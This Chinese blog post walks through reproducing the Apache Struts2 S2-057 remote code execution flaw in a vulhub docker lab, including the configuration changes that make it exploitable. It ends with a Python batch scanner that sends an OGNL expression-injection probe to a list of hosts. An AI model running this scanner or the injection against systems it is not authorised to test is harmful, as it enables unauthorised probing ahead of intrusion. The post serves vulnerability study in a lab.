本文最后更新于:2019 , 八月 19日 星期一, 8:57 晚上

简介

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行

url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行


搭建漏洞环境

  • 克隆vulhub

    git clone https://github.com/vulhub/vulhub
    cd vulhub/struts2/s2-048
    docker-compose up -d
    docker ps    
  • 进入docker
    docker ps

docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash
  • 根据公告(Struts 2.5.16存在s2-057漏洞,然后去下载这个版本)

    Tips:在wget步骤可能会有点久,可以让他自己下载,看下电影去。。

apt-get update -y
mkdir /usr/local/tomcat/webapps/test
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip
apt-get install unzip -y
unzip struts-2.5.16-all.zip
cp struts-2.5.16/apps/struts2-showcase.war  /usr/local/tomcat/webapps/

修改配置文件

/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml

修改为

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
           <result type="redirectAction">
             <param name = "actionName">register2</param>
           </result>
        </action>
    </package>
</struts>

两处修改完之后,重启服务

cd /usr/local/tomcat/bin/
./shutdown.sh
docker-compose up -d

漏洞利用

漏洞利用大致分类

在这里,我只成功了数值计算,其他两个据说要在低版本才能执行
有兴趣的小伙伴,可以自行尝试


批量检测

import requests

def scan(host):
    payload = '${(100+200)}'
    urls = 'http://%s/struts2-showcase/' % (host)
    url = urls + payload + '/actionChain1.action'
    com = urls + '300/register2.action'
    headers = {'user-aget': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}

    try:
        r = requests.get(url,headers,timeout=10)
        if r.url == com:
            print('Please wait...')
            print('[+] St2-057:'+r.url)
        else:
            print('[-] Not St2-057')
    except Exception as e:
        print('[-] Error:'+com)

if __name__ == '__main__':
    file_path = input('Path:')
    host = [i.rstrip('\n') for i in open(file_path, 'r') if i != '\n']

    for i in host:
        scan(i)

参考链接

https://github.com/Ivan1ee/struts2-057-exp
https://github.com/jas502n/St2-057/
https://bbs.ichunqiu.com/thread-44733-1-1.html
https://422926799.github.io/2018/08/23/St2-057%E5%A4%8D%E7%8E%B0/


漏洞      漏洞

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

ubantu本地提权漏洞【CVE-2017-16995】
explorer绕过密码验证复现